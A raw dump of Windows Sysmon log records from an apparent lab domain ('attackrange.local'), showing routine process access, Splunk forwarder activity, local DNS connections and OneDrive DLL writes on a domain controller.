14:44:22.008{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.008{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.930{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F45-613B-0A09-00000000F001}6992C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.930{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F45-613B-0A09-00000000F001}6992C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000042933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:21.532{7BD73061-6F45-613B-0A09-00000000F001}6992C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000042932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:19.595{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59230-false10.0.1.12-8000- 354300x800000000000000042931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.251{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local59850- 354300x800000000000000042930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:18.251{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local55106- 23542300x800000000000000013827Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:22.333{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE2BC6CC67C585E836A1AA3809A3109F,SHA256=C0E43ECDB1DB5329380874E1F397B295E75C571998DC519582B697466E5B6CFD,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.836{7BD73061-6F45-613B-0A09-00000000F001}69921940C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.680{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncSessions.dll2021-09-10 14:44:23.648 23542300x800000000000000042990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.680{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\ActionCenterCache\windows-systemtoast-securityandmaintenance_1_0.pngMD5=099BA37F81C044F6B2609537FDB7D872,SHA256=8C98C856E4D43F705FF9A5C9A55F92E1885765654912B4C75385C3EA2FDEF4A7,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000042989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.648{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\WnsClientApi.dll2021-09-10 14:44:23.617 11241100x800000000000000042988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.633{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\LoggingPlatform.dll2021-09-10 14:44:23.414 11241100x800000000000000042987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.633{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5QuickTemplates2.dll2021-09-10 14:44:23.320 11241100x800000000000000042986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:23.492{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFALWB.dll2021-09-10 14:44:23.320 10341000x800000000000000042985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.430{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.430{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F46-613B-0B09-00000000F001}5508C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.351{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.351{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.351{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.351{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.258{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.008{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\ADMINI~1\AppData\Local\Temp\{89B07DE7-D1B1-4B7B-B484-5C5D4C20BC54}.pngMD5=00E5FCFD833151F7CBDE607E2F7AFEB4,SHA256=B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042976Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:23.008{7BD73061-6F44-613B-0909-00000000F001}64043232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000042975Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:22.930{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncFAL.dll2021-09-10 14:44:22.930 10341000x800000000000000042974Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000042973Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042972Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000042971Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000042970Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.930{7BD73061-6D0F-613B-9406-00000000F001}4480ATTACKRANGE\AdministratorC:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\ActionCenterCache\microsoft-explorer-notification--d1f6275c-b9a0-a25e-7f73-51b54487be4c-_5_0.pngMD5=00E5FCFD833151F7CBDE607E2F7AFEB4,SHA256=B80192AAABE007BAECD0603E3CE183E9D554B8A6B0411D20716ACFA086AE3035,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042969Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042968Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:22.914{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042967Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 